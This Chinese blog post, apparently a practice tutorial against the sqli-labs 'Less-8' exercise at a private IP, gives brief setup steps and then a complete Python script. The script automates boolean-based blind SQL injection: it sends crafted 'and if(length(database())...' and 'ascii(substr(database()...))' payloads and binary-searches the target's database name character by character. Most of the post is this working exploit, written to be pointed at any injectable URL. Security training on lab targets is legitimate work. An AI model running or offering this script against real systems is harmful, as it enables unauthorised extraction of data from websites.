SQL注入获取数据库名—自动化脚本

1、搭建好python环境,在脚本目录下新建cmd.bat文件(文件内容:cmd.exe)。

 

2、修改好标志位和payload后,点击cmd.bat进入cmd见面,输入python 文件名运行就OK了。

3、脚本源码:

import requests
import sys
payload=''
url=''
flag='You are in'#标志位——代表请求是否正确
def StartSqli(url):
    DBNameLen=0
    print('[-]开始获取数据库的长度')
    for DBNameLen in range(1,100):
        payload="' and if(length(database())=%d,1,0)--+"%DBNameLen
        targeturl=url % payload
        response=requests.get(targeturl)
        if response.text.find('You are in')!=-1:
            print(targeturl)
            print("[+]数据库长度:%d"%DBNameLen)
            DBName(url,DBNameLen)
            break
def DBName(url,Len):
    payload="' and ascii(substr(database(),%s,1))>%s --+"
    database=''
    print("开始获取数据库名:")
    for i in range(1,Len+1):
        max=122    #z:对应ASCII值
        min=65    #A
        while abs(max-min)>1: 
            mid=int((max+min)/2)
            p=payload % (str(i),str(mid))
            response=requests.get(url % p)
            if flag in response.content.decode("utf-8"): 
                min=mid
            else:
                max=mid
        database=database+chr(max)
        print("[-]The database:%s" % database)  

if __name__ == '__main__':
    url='http://192.168.243.130:8080/Less-8/?id=3%s'
    StartSqli(url)

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值